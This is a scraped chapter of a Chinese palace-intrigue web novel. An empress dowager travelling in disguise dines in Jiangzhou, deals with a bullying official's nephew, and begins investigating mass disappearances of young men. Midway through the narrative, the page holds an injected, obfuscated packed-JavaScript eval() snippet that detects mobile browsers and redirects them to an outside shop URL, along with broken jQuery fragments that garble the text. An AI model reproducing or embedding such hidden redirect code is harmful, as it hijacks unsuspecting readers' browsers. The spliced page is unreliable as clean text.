默认冷灰
24号文字
方正启体

84. 宠冠后宫17

作者:一梦良玉本书字数:K更新时间:
    江州城。


    时近黄昏,华灯初上。


    作为南北枢纽之一,江州城依旧热闹非凡。


    运河两岸,酒楼茶肆林立,灯火倒映在粼粼水波中,碎成万千金芒。


    一座临河的雅致酒楼二楼,孟临渊临窗而坐,她身上穿着一件水绿织锦缎对襟长衣,那绿不像寻常翠色那般扎眼,倒像是烟雨里浸过的柳芽儿,清凌凌透着股水意。下系一条月白绫裙,裙裾逶迤,恍若堆云叠雪。


    只松松绾个慵妆髻,斜插一支碧玉玲珑簪,坠着米珠流苏,行动时便在耳畔轻轻摇曳,如春雨敲檐。


    她面前的红木圆桌上,已摆了几道精致的江南小菜:樱桃肉是用寸许见方的五花肋条,肉面剞了细密的十字花刀,深及肉皮,烧得红亮润泽,密密地排在纯白的龙泉瓷盘中,真如一盘新摘的樱桃,莹莹有光。


    一碟清炒河虾仁,粒粒饱满,白嫩诱人;一盅蟹粉豆腐,嫩滑的豆腐浸润在金黄的蟹粉之中,鲜香扑鼻。


    还有一道清炖蟹粉狮子头。紫砂钵仔端上来,揭盖儿一缕温润热气,不带半分烟火燥气。


    那颗硕大的狮子头,用细嫩猪肉肥三瘦七,斩作石榴米大小,团得松而不散,慢火笃足了时辰,静静地卧在清澈见底的汤里。旁边衬着几根碧绿的菜心。


    孟临渊挑了挑眉,将其推给了顾长风,“我记得你挺爱吃这个的。”


    顾长生爽朗一笑,“多谢呃,小姐,那我就不客气了。”


    狮子头汤色澄澈,却入口腴润,那肉圆酥烂得几乎不用咀嚼,舌尖轻轻一压,便化作一团极致的鲜香,蟹粉的矜贵气息点点透出。


    他很是满足,果然和太后出来的好处就是如此啊,太后虽然素有威仪,但实则没什么架子,也很爱吃,跟着她出行至少是不用担心口腹之欲了。


    孟临渊吃得慢条斯理,正品尝间,楼梯口传来一阵喧哗。


    几名身着绸衫、看似家丁护院模样的壮汉簇拥着一个衣着华贵又面色倨傲的年轻公子走了上来。


    那公子哥儿眼神四下扫视,看到孟临渊独自占着一副临窗的好座头,桌上菜肴虽精却不显豪奢,便径直走了过来。


    “喂,你这位置不错,小爷我看上了。你,换个地方吃去。”那公子哥用折扇点了点桌面,语气不容置疑。


    孟临渊继续慢悠悠地吃着。


    一旁的顾长风上前一步,沉声道:“这位公子,总有个先来后到。我家小姐正在用饭,还请行个方便。”


    那公子哥儿嗤笑一声:“先来后到?在江州城,小爷我就是规矩!知道小爷是谁吗?江州总督是我舅父!识相的赶紧滚!”


    他身后的家丁也纷纷上前,面露凶光,大有不清场就要动手的架势。


    酒楼掌柜闻讯赶来,满脸堆笑,试图打圆场:“刘公子息怒,息怒!这位客官,要不……小人给您在楼下安排个雅座?今日酒水算小人的……”


    那刘公子却是不依不饶,一把推开掌柜,伸手就要去抓孟临渊的衣袖:“跟你说话呢!聋了不成?”


    就在他的手指即将触碰到孟临渊衣袖的瞬间,旁边忽然伸过来一只骨节分明的手,轻轻巧巧地格开了他。


    “刘公子,好大的威风。”


    众人循声望去,只见一个身着蓝色常服的年轻男子不知何时已站在桌旁。他面容俊美,眉眼间带着几分慵懒的笑意,手中把玩着一把象牙骨的折扇。


    刘公子被拦,勃然大怒:“你又是哪根葱?敢管小爷的闲事?!”


    夏容与唰地一下展开折扇,慢悠悠地扇了扇:“在下姓沈,单名一个瑜字。不才,恰巧与某个总督的顶头上司张大人,有那么几分交情。刘公子,你说巧不巧?”


    他语气轻松,但沈瑜二字一出,那刘公子的脸色瞬间变了。


    燕国公世子沈瑜,皇后跟前炙手可红的新贵,其名即便在江南官场,也是如雷贯耳。他虽未亲眼见过,却是听说过的。


    况且一般人也不会知道他舅父上面的人姓张。


    刘公子气势顿时矮了半截,结结巴巴道:“你……你说是就是?有何凭证?”


    夏容与从怀中取出一块令牌,在他眼前一晃。


    “是在下有眼无珠,冲撞了贵人!恕罪,恕罪!”刘公子冷汗涔涔,连连作揖,再不敢多言,带着家丁连滚爬爬地下了楼。


    掌柜的也吓得面色发白,连忙躬身赔罪。


    夏容与挥挥手让他退下,这才转身,对着孟临渊,行了个懒懒散散的礼:“属下护卫来迟,让小姐受惊了。”


    “事情查得如何了?”孟临渊示意他坐下吃饭。


    夏容与顺势在她对面坐下,自顾自倒了杯茶,正要说话,便见孟临渊竖起一根手指,对他摇了摇头。


    果然隔壁传来断断续续的讨论。


    “……这世道,真真是不太平了。”一个略显苍老的声音叹道,“光是咱们县,这半年里,报上官府的人口失踪案子,少说也有五六起了吧?”


    “何止五六起!”另一个粗豪嗓音接口,带着几分愤懑,“我隔壁做豆腐的老王,他家小子,前几日傍晚出去给主顾送豆腐,就再没回来!活不见人,死不见尸!老王婆娘的眼睛都快哭瞎了。”


    “报官了没?”


    “报了有什么用?县衙的门槛都快被踏破了,陈县令倒是派人查了,查来查去,不还是屁都没查出来一个?只说会加紧巡查,让各家各户看好青壮男丁……嘿,真是笑话,难道大活人还能被风吹走了不成?”


    “光是咱们江州地界,报上官府的,少说也有二三十人了吧?生不见人,死不见尸……”


    “嘘——小声点!我有个远房表亲在衙门里当差,说这事儿邪乎得很,怕是……不是人做的……”


    这时,一个稍微压低了些,却又恰好能让周围几桌听清的声音神秘兮兮地说:“我听说啊,不止咱们,附近几个县,乃至整个江州地界,近来都不安稳。失踪的还多是些年轻力壮的后生。”


    “嘶……这到底是遭了哪路的邪祟?”


    “谁知道呢?许是水匪绑了去?还是……有什么别的勾当?”那声音顿了顿,带着点希冀又道,“不过,我有个在府衙当差的远房亲戚偷偷透露,说京城里头已经知道这事儿了,太后派了钦差大臣,不日就要到咱们江南来查案呢!”


    “钦差?真的假的?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595143|182219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “千真万确!说是位了不得的大人物,带着尚方宝剑来的!只盼着这位青天大老爷,真能把这桩无头公案查个水落石出,也好让咱们老百姓能安生过日子……”


    顾长风眉头紧锁,下意识地握紧了拳头,低声道:“小姐,这……”


    孟临渊神色不变,依旧慢条斯理地用调羹舀了一勺蟹粉豆腐,豆腐嫩滑,蟹黄浓郁,她细细品了,方才放下调羹。


    夏容与收敛了几分懒散:“我探查到的,与这些传言大致吻合。失踪案频发,失踪者确以青壮男丁为主。地方官府起初只当寻常案件处理,直至数量激增,才觉事态严重,但多方查探,竟如泥牛入海,毫无线索。消息层层上报,这才惊动了朝廷。”


    他看了一眼孟临渊淡漠的表情:“至于钦差,估计会让背后人稍微忌惮一些。”


    至少还不敢直接对钦差下手。自古以来谋害钦差是大罪,要是钦差在辖区内出了什么问题,朝廷就该直接派军队过来了。


    孟临渊抬眼,望向窗外运河上星星点点的灯火,倒映在她清澈的眸子里,碎成一片幽冷的微光。她轻轻“呵”了一声,语调听不出什么情绪。


    “这么多人凭空消失,连点痕迹都不留,岂是寻常贼匪所能为?这背后,怕是藏着不小的热闹呢。”


    虽然是秘密出京,但也是上下打点过的,衣食住行皆有安排。


    萧陵为他们准备的院落不大,却极为雅致。


    堂内陈设简洁却不失品味,紫檀木的桌椅,博古架上摆放着几件素雅瓷器,临窗的书案上笔墨纸砚俱全,一旁的多宝格里甚至还备着几卷新刊印的书籍。


    “小姐一路劳顿,热水已备好,厨下也温着清粥小菜,若有需要,随时吩咐。”管家躬身道。


    孟临渊微微颔首,“有劳。”


    顾长风自去安排护卫值守,屋内只剩下孟临渊与夏容与二人。


    夏容与褪去了在外人面前那副风流纨绔的做派,神色沉静下来,从袖中取出一卷薄薄的羊皮纸,在孟临渊面前的茶几上铺开。


    “这是江州及附近几个县的地图,我用红笔标注了目前已确认的失踪案发生的大致位置。”他的指尖在地图上划过,“看似分散,但若联系起来,隐约能看出几条路径,最终都指向……西北方向的云荡山一带。”


    孟临渊目光落在地图上那些刺目的红点上:“云荡山……我记得,前朝曾在那边开采过银矿,后来因矿脉枯竭和地势险恶废弃了。”


    “你记得没错。”夏容与点头,“矿洞错综复杂,深处据说连通着地下暗河,地形极为隐蔽。若真有人以此为巢穴,确实难以被发现。”


    “青壮男丁……”孟临渊指尖轻轻敲击着茶几,“要么是充作苦力,开采私矿或进行某种需要大量人力且见不得光的工程;要么,就是训练私兵。”


    夏容与眼中闪过一丝寒光:“无论是哪一种,所图必然不小。能在江州地界瞒天过海做到这一步,地方官府内部,恐怕不止是失察那么简单。”


    孟临渊微微颔首,表示认同。她沉吟片刻,道:“钦差仪仗到江州,还需几日?”


    “按正常行程,大约五六日后抵达。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)